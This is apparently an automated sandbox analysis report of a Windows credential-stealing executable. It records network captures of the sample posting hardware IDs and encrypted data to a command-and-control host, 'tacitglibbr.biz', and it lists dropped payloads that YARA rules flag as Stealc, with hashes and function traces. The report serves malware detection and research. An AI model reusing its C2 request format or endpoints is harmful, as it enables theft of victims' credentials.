6c 6f 0d 0a 2d 2d 37 41 59 4f 55 57 32 52 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --7AYOUW2RKContent-Disposition: form-data; name="hwid"48689E34D9593E67AC8923850305D13E--7AYOUW2RKContent-Disposition: form-data; name="pid"1--7AYOUW2RKContent-Disposition: form-data; name="lid"PsFKDg--pablo--7AYOUW2RKContent-Disp
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: 7e 55 ba 0d 57 0a 7e 7a 8b 8c 70 d9 10 31 81 fb 69 76 2e c7 33 ea 4f 56 ac f9 fe d8 54 e9 06 cb 39 9d 66 8a 5f 52 d8 a5 5f bc 4d aa ad 12 da 0b e0 c6 44 6f c2 94 81 94 e0 d5 a8 e6 6a 4d c4 4c 61 23 b4 79 09 cc 22 b7 46 a3 88 9d ad 0d c2 ea 27 5d 92 32 8b a6 fd b2 46 7d 29 75 0f 57 4e 7e 3e 01 92 d3 c3 b8 d4 e7 a0 ef 59 91 6e 83 8c 7b 60 81 ab 3e 56 8d 3e 2b 09 be b3 4b 39 ff ce b1 d6 ad f4 c0 2b de 25 bd 32 f0 9a 7f 53 b1 11 96 3f cd b7 a9 29 8f ee d2 82 6b 03 f6 45 43 0c 34 6b 26 a9 56 67 84 90 6f 07 36 7f a3 4c 49 e0 d9 fc 85 0b ec e7 63 9d 13 06 9a df 94 eb d9 a8 c6 ed 88 f9 9f 65 53 5e 2a 29 a5 b4 ca cf 96 ed 60 29 b4 bb ff dd 71 46 12 fa ca 7d 8e b3 de db a1 d7 52 0b 83 05 c5 ff 77 fb e4 c2 15 e6 c4 61 65 29 13 90 9c b2 be c2 c5 0b 98 ca 82 23 2c da Data Ascii: ~UW~zp1iv.3OVT9f_R_MDojMLa#y"F']2F})uWN~>Yn{`>V>+K9+%2S?)kEC4k&Vgo6LIceS^*)`)qF}Rwae)#,
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: 86 06 b5 be f0 3c a9 40 1c 08 89 99 fe fe 35 cb 03 38 14 d8 47 44 f4 11 cf 1a 4b 78 08 34 a5 50 31 0f b7 83 83 04 17 c6 98 1f e7 c2 3e c9 f1 6c bb e5 7e b3 d3 86 46 c4 5e 39 10 0a b1 92 ca 6f 2c b4 0d 19 2f 62 89 8a c1 31 1a ad 7b 64 2e 01 8b 37 3b be f3 87 a7 f5 bb 3f 18 b7 d7 6e 18 4d 17 77 db 3e b7 f5 f8 aa 31 5d cb 6a a9 7d e3 33 a4 a1 42 23 63 e1 ee 41 96 ca 34 23 af 4a bb 9a 5e 1f fd 3d 2f 68 de 79 fa a9 63 da d3 e0 11 69 f1 37 56 b6 be 56 db b5 36 5b d7 11 94 51 5a e3 27 71 c7 7d 6f 62 48 ed 71 60 66 40 31 c2 0d c3 80 b8 76 a2 54 f7 b9 3e 7b f3 b5 24 6b 15 2c e9 e2 16 86 6e a3 c1 b0 24 00 81 01 ff 02 9a e0 64 9a 86 3d 58 6a 68 51 71 d5 06 bf 2a 7f af 2f 41 e4 1e 4c 45 52 58 07 d0 c3 2d 70 15 b8 fd 8b a6 7d 13 a1 22 31 46 03 80 87 84 7a b8 c0 c6 3b Data Ascii: <@58GDKx4P1>l~F^9o,/b1{d.7;?nMw>1]j}3B#cA4#J^=/hyci7VV6[QZ'q}obHq`f@1vT>{$k,n$d=XjhQq*/ALERX-p}"1Fz;
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: e7 92 e2 b0 fa 37 40 d8 4b b4 c4 bc c4 12 bf 4c ca 2d 70 83 33 3f a1 25 af 5d 42 71 e5 dc d0 0e 11 d6 8f a0 36 18 e9 89 01 ca 7d 27 e6 a6 8a 2c f5 e6 92 8a 56 91 e8 1c bf fc 32 9c 64 68 b0 f0 0d ef 56 2a 40 db 87 b1 ee ff 8e 8a 71 e6 65 4e 6d 64 1e ce 7f bd de dd 0a 5c 3c df 4a 80 f0 a2 53 e1 4b ed 79 bf 32 ee dd 68 63 db 76 0a d8 f6 7b b2 65 7b 52 84 8c 93 8d a6 22 9d 0d 49 32 59 f2 45 25 80 55 16 79 d1 17 b7 69 24 b4 30 5d be a0 28 71 4a c6 c2 26 c4 93 e7 50 4e cb 04 c8 c5 e7 c7 23 f8 8d 63 49 b3 db a7 df ec e3 d4 a2 4a db 3d c1 33 da d7 c6 ec dc a0 c4 6e 1f 02 37 9e ab ca 84 2b 8d d0 cf ea 6b a2 b2 16 8b 0f d1 ca 25 58 8a 22 7b d6 1a 1e 11 2f 4c 72 df 69 4d ba 6b 10 24 df b6 d5 db b7 ad f3 b7 51 a8 fb 59 6f 8b 29 03 62 48 fa 19 bf 69 fc b8 25 1f fe 10 Data Ascii: 7@KL-p3?%]Bq6}',V2dhV*@qeNmd\<JSKy2hcv{e{R"I2YE%Uyi$0](qJ&PN#cIJ=3n7+k%X"{/LriMk$QYo)bHi%
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: 99 d3 d1 8f ea 90 90 cf c3 33 37 48 a4 d6 6b f3 91 93 bd 12 5a 24 1b 12 3d 39 45 84 2d 52 7b 76 01 13 f0 da 3f 82 3a bd 67 f6 a1 96 b0 a9 c1 5a ef 4d c1 cd 9d d6 dd e3 9d ce 1d 7a 89 20 d8 2a 15 66 2b 73 1b be 21 92 4b 8e 0d 59 38 44 1c 6d 71 68 dc 0d a2 f4 a5 5a b7 76 aa cd 29 20 96 75 a1 3f b1 7f fa a5 0e f8 d1 db 10 a3 ca 79 2f a3 d4 14 9b f0 4c 75 d1 97 27 39 36 8b f6 2d 52 9f 49 6a d7 67 7f fe 53 48 cd 78 89 5a b3 7e d7 71 c3 32 a5 54 34 bd bd a1 84 77 3e 8d 3a 75 c5 2e 71 de 8f d7 90 b7 57 2a d0 3a 20 92 b2 4c 5c f5 2a d1 df 9e b8 7c 85 77 ef 6a d5 40 f0 c0 d9 19 d8 ef 4e 7f 09 c7 3c a7 6a 42 78 0a 46 94 c0 bd 49 42 1a 04 f4 bf 87 bb 9e ce 3a 23 79 d0 a4 07 ed 52 e5 53 ab 8b 30 6d ed cd 81 33 f2 8d 79 af e7 e9 8f 3a 94 ac c6 32 ef c6 7b 0c 33 50 ae Data Ascii: 37HkZ$=9E-R{v?:gZMz f+s!KY8DmqhZv) u?y/Lu'96-RIjgSHxZ~q2T4w>:u.qW: L\*\|wj@N<jBxFIB:#yRS0m3y:2{3P
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: 40 ba aa 75 6f 88 72 4c 95 38 59 c2 a6 30 5b 99 e0 50 20 0b b6 0e 0c c7 40 b9 02 e0 4b 76 57 d1 6a 3a a4 ef 0c 58 e2 a4 24 34 2a 37 ad 11 c4 ca 8b 02 f9 3f 2f 71 f2 40 96 19 fb e4 67 ec 14 0e 36 6b c7 81 7c 7d 54 74 b2 95 81 43 a9 50 e0 50 44 6e 1a 5f 34 72 18 8d 99 b5 ae a1 cd 91 16 6c e1 46 1e 62 27 60 63 3b 0f 7c cc d7 a8 76 39 8b bc 20 00 ff b2 cc ad 4d ae ba c4 29 f9 88 3d 4d 17 16 bb 2c 10 f3 7d 74 e7 cc e5 67 96 f2 bd 17 a6 ec d1 b1 bc 19 4d 53 6a a6 ac 7e ba 06 e6 3f af d5 bd 37 81 8f fd 80 68 72 2b a8 9b ad 6b bc e6 32 88 77 c7 c2 1b d9 7d f7 dc 0f 8c ca c1 91 8a a4 33 00 99 e0 15 17 03 b9 dc ab 7e 63 63 1f 48 57 89 a4 13 14 8a 1c b2 0b 3b 2e 0a 62 0e ed b6 c2 93 11 8a 4a b5 d3 b0 5e 45 7d a3 d6 74 90 a2 67 ca 1b eb 9c aa 09 8e 4a 87 c0 eb 4d 35 Data Ascii: @uorL8Y0[P @KvWj:X$4*7?/q@g6k\|}TtCPPDn_4rlFb'`c;\|v9 M)=M,}tgMSj~?7hr+k2w}3~ccHW;.bJ^E}tgJM5
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: ce ac 14 e5 be 9a 4c a2 48 69 6b fc 12 d5 2e 48 e0 44 77 7d 9b 37 b6 0c b6 14 04 6b 73 35 5b 0d 5e 59 6e 69 55 26 a1 14 21 e0 24 a5 6d bb f8 01 c2 41 f4 9e ff 5b 11 1a be e3 d7 15 7e fa 50 97 ac 51 7e d5 fa 8e 63 a5 6e e7 27 04 16 b6 0a 31 21 d6 c4 cd 06 b2 2e 1e 5b 04 ef 54 9e 33 c5 45 c6 68 5e 23 12 9b 5a 19 f7 60 bf 5b 1c 68 ff df 5a 41 59 09 14 f7 7d a2 51 c0 18 ad 0a 51 03 cf d0 5d e0 84 48 2a df f6 b7 31 5a 0a 6f f2 7e 24 e5 f1 14 7e f4 35 d6 26 33 fd 29 3c 1c 02 39 f9 f8 2f 22 ac 12 c0 f8 c1 f8 36 48 0e 7c a3 c0 87 58 8b ab 9e 7a 40 f8 c1 2c 10 b3 a7 96 34 9b 5b 11 82 cf 97 45 a3 0b b9 32 17 e2 06 d4 d3 b0 0c 02 c2 ad 2b a8 cc 8b 26 e7 18 6a 80 4a 64 cc a0 8b 1f 39 cb f0 ee 1b 3c 57 98 84 42 9a ef ee 53 42 ff f6 c4 9b 11 ca 39 e5 c7 6c 89 2b 4f fc Data Ascii: LHik.HDw}7ks5[^YniU&!$mA[~PQ~cn'1!.[T3Eh^#Z`[hZAY}QQ]H*1Zo~$~5&3)<9/"6H\|Xz@,4[E2+&jJd9<WBSB9l+O
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: 7d d7 79 0a 6e a6 8a fa 47 c8 6c d7 d0 ad 17 76 85 06 ec 3c 73 6c 10 17 35 2c fa fb 75 24 b6 89 c7 61 bd 12 c2 75 f7 31 d2 c4 83 c1 0f 68 e1 d0 98 55 32 b7 61 8a 0c 17 07 63 8e 0b ef 62 b1 0c e6 73 be 79 d1 bf 07 f2 e0 d3 b9 35 9c f7 22 4b 59 f6 89 54 0d 5d a5 44 6f ba ac cd 57 03 6e 89 ef 2d 59 61 89 0a bd 8f 6d 6f 5b 2d f2 e1 74 7f 71 93 8b bc 3b 89 fb b9 e1 73 73 71 23 7a a9 4d 5e a1 ba 76 bb 68 db eb 24 f1 e3 01 75 7c 24 15 f8 47 04 ab f2 2a be 96 61 74 88 d8 d2 4c 1a a3 b4 2b 73 89 05 7c b8 fe 8b 2e 86 fe a4 9b 10 8e 2a e3 e0 9f ed ec 14 83 15 b2 35 b2 94 cc 21 6a e6 3a b5 4d bc c6 07 ed 03 44 44 a0 8b b8 7c e4 94 52 7b 2a b6 77 55 b6 3f 62 bb ec 41 c0 e2 c4 2e fa 69 24 13 c5 18 b9 a6 b1 5f 82 f8 fd b9 75 de 89 42 d5 60 a5 16 fe aa aa 6b c6 84 43 68 Data Ascii: }ynGlv<sl5,u$au1hU2acbsy5"KYT]DoWn-Yamo[-tq;ssq#zM^vh$u\|$GatL+s\|.5!j:MDD\|R{*wU?bA.i$_uB`kCh
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: e0 45 67 95 c8 a9 46 8a b9 4b b1 ba 6b b4 fa 70 eb d6 0b 5e d0 b8 aa 65 ef 76 b9 c8 bd ef 89 8c 74 2b 8b 07 11 a3 55 f7 f7 47 ae e4 11 ee f4 6d ec a9 0d aa b6 d9 83 e9 57 b7 c7 93 12 d9 f8 1a 73 06 91 4b 82 c9 79 90 f8 31 65 95 92 7d 1a a9 6a 39 4d 96 62 22 22 4b bb b6 35 3a ed 50 8b d6 96 6f 5d a2 6a 35 aa 24 24 35 5b 91 6b 28 2c b2 3c 7d 54 9c 12 84 16 4a 1a f1 71 a5 72 51 91 09 dc aa ef 8e f8 83 5e a2 db 78 42 1a 93 b6 3d 87 a5 9f 76 d3 3e 51 f9 e7 5a f2 01 38 54 94 27 2b 3d a7 34 b2 e0 16 1a d1 81 86 97 ba ff 53 7a c6 60 8b 2e f3 f3 de 1b 23 ba 20 55 89 60 f4 ff 36 80 ad 5b b3 7a e5 40 fb 83 ca 13 ff 5c 52 91 dc a4 f9 c2 16 f5 4e c8 f0 fa 25 55 5d 0c b3 d8 8a ae c5 06 2c 56 d6 cd f7 d8 10 ea e0 06 01 b7 68 28 06 87 12 db 42 b5 7f a4 a1 95 a4 37 69 7e Data Ascii: EgFKkp^evt+UGmWsKy1e}j9Mb""K5:Po]j5$$5[k(,<}TJqrQ^xB=v>QZ8T'+=4Sz`.# U`6[z@\RN%U],Vh(B7i~
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: 30 2a 1c 75 2d 9a 2e cb 0d 4c 13 d6 e1 e8 6f 5f b3 bf 95 d1 03 c1 99 70 de 20 53 34 49 bf 11 7a 66 dd 32 d3 5a 8d ed 57 4f c2 53 0b 37 fd 52 d9 b7 ec 08 ac f1 5b 12 bb 54 65 29 ec d6 f7 58 36 f6 96 5a 80 0d 1c 81 8a 44 c1 ca 5f 36 e5 1c 27 5d 50 0b 73 18 f8 99 3a 9f d8 f7 3d c3 0b 1a 30 ba 61 bd 81 70 02 34 3c 84 f7 ed ba 7a 37 b7 76 3d 98 fd d7 a6 86 4f 46 fa 1a 99 69 12 b6 0d 8e a6 ec fa 6f ca 7d d5 ce 61 77 81 fd 73 5d 72 a4 65 37 22 f5 d7 3c 2c 81 e8 3c de 12 17 5a 63 99 ef e2 84 83 86 9d b1 24 37 06 1c be e7 60 e3 a2 48 47 ff d7 97 4a 29 5c 6d fc 9b 1d d4 34 a5 94 7f ad b6 0d 54 06 f2 c7 cc 33 dd c2 fb 7c 90 2d b5 65 68 6c df 3f d4 ac fd b1 3f 49 8d 21 2b e9 11 89 b4 d6 fd 61 01 3b dc 61 8a 8a cc 0b 17 7b b5 f0 c0 c9 5b 6b 21 a3 3c cd ba ef e1 31 e1 Data Ascii: 0*u-.Lo_p S4Izf2ZWOS7R[Te)X6ZD_6']Ps:=0ap4<z7v=OFio}aws]re7"<,<Zc$7`HGJ)\m4T3\|-ehl??I!+a;a{[k!<1
2024-12-16 14:38:19 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=punnf2dnmaif5dlfucv1u5riol; expires=Fri, 11-Apr-2025 08:24:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4aNe1Nnbkk%2F3kikbPl3LcY3axYnX47C528pduCmvjZJF92kXmUn9KMtib2bgGf4sFpaa7ykConu5bcvbxEA7mKvqGputXzw%2BOB6RmavHh17DFj3tLutcUMzdtJvwSqpitHs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f6a8f3bf1f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1546&min_rtt=1542&rtt_var=581&sent=338&recv=576&lost=0&retrans=0&sent_bytes=2838&recv_bytes=554914&delivery_rate=1893644&cwnd=137&unsent_bytes=0&cid=3d79ea635ec73c4c&ts=2223&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49740	104.21.50.161	443	6508	C:\Users\user\Desktop\NYMPo215Qd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:38:20 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 14:38:20 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 34 38 36 38 39 45 33 34 44 39 35 39 33 45 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=48689E34D9593E67AC8923850305D13E
2024-12-16 14:38:21 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d32l1k09flvmjlcj896c7arfd4; expires=Fri, 11-Apr-2025 08:25:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GEO5yAvhKhqhcp%2BXAd3xbZcBS0GLV66IXNlk%2B8mER%2FpS2SkGhDaMTI4HPWcdQAVRM9%2FRN7mFpegArMqKTXc4huu98oAllX2%2Br5%2B9CwghgSi0f5c%2F2hEg2n2oqgCJsxfINkg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f6aa699167d1e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1822&rtt_var=692&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=981&delivery_rate=1572428&cwnd=192&unsent_bytes=0&cid=bb5a054b1ff064e5&ts=793&x=0"
2024-12-16 14:38:21 UTC	214	IN	Data Raw: 64 30 0d 0a 54 38 35 45 33 4c 41 74 73 55 4a 52 31 4a 4d 54 34 43 35 42 6e 6e 2f 53 59 39 62 71 61 56 7a 78 48 38 57 36 4b 56 59 69 43 34 73 55 74 57 61 70 6b 68 65 54 4b 69 57 67 34 79 6d 38 41 52 32 78 54 75 70 57 2b 4e 68 59 61 64 38 75 39 49 6b 48 5a 78 52 58 70 43 43 6f 49 6f 43 66 53 64 51 6b 66 37 48 72 64 73 49 43 59 2f 67 4c 38 46 6e 6d 78 6b 73 35 30 79 58 31 78 77 55 74 41 48 36 70 64 65 77 73 71 4d 52 64 69 78 35 2b 69 4c 77 69 32 42 74 76 72 45 37 6e 54 65 66 62 57 6e 4c 41 4b 5a 6d 56 57 69 4a 48 61 75 59 54 34 54 61 39 33 6b 6e 65 4c 33 2b 78 36 33 62 43 41 6d 50 34 43 2f 42 5a 35 73 5a 4c 4f 64 4d 6c 39 63 64 30 0d 0a Data Ascii: d0T85E3LAtsUJR1JMT4C5Bnn/SY9bqaVzxH8W6KVYiC4sUtWapkheTKiWg4ym8AR2xTupW+NhYad8u9IkHZxRXpCCoIoCfSdQkf7HrdsICY/gL8Fnmxks50yX1xwUtAH6pdewsqMRdix5+iLwi2BtvrE7nTefbWnLAKZmVWiJHauYT4Ta93kneL3+x63bCAmP4C/BZ5sZLOdMl9cd0
2024-12-16 14:38:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:38:00
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\NYMPo215Qd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NYMPo215Qd.exe"
Imagebase:	0xcb0000
File size:	1'896'448 bytes
MD5 hash:	591C23CAE68A9C792A7EB65CEBC40B52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2255482021.0000000001579000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2255148116.0000000001579000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:38:27
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe"
Imagebase:	0x320000
File size:	2'776'576 bytes
MD5 hash:	F86C08A75747002A2A7CD3FBC5FE05C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:38:30
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe"
Imagebase:	0x220000
File size:	1'796'608 bytes
MD5 hash:	E33DC32F04E77BC26482BACCB87B9795
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2446320342.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2533890717.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2533061798.0000000000221000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 0157CE02 Relevance: .4, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2255482021.0000000001579000.00000004.00000020.00020000.00000000.sdmp, Offset: 01579000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1579000_NYMPo215Qd.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca62c34e96a80265392a7d8745052ed187452fb44d0abfdb69c91a74e396fbd1
Instruction ID: fba3173c60a1f0f120a2a651503d991f3af5198fbe0bd3722b7b52e58ede7194
Opcode Fuzzy Hash: ca62c34e96a80265392a7d8745052ed187452fb44d0abfdb69c91a74e396fbd1
Instruction Fuzzy Hash: 8BE1246244E3C25FD7078B74AD6A651BFB0AE1321470E86CFC4C68F4B3D359A90AD762

Analysis Process: G9H9BE2GP1UE0C9AS5I0G1FKO.exePID: 2360, Parent PID: 6508COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	31.6%
Signature Coverage:	21.1%
Total number of Nodes:	38
Total number of Limit Nodes:	2

Executed Functions

Function 004A97F5 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 004A97F8

Strings

C, xrefs: 004A9CC3

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 18cc89e9d64fe14cae42e0870ce5262a050529c6d50ff6c0b3b4f24871c7785f
Instruction ID: c58c54231e65518e246dd0779ef365dafc35a9a2ff26afb93bc6a0c9375c81fd
Opcode Fuzzy Hash: 18cc89e9d64fe14cae42e0870ce5262a050529c6d50ff6c0b3b4f24871c7785f
Instruction Fuzzy Hash: 45113ABB1086047DF201D656AA00AFB77ADEBE3734F30845BF406D6543D26D0E855239

Function 04A115D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04A118C8

Memory Dump Source

Source File: 00000003.00000002.2546493397.0000000004A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a10000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: ChangeConfigService
String ID:
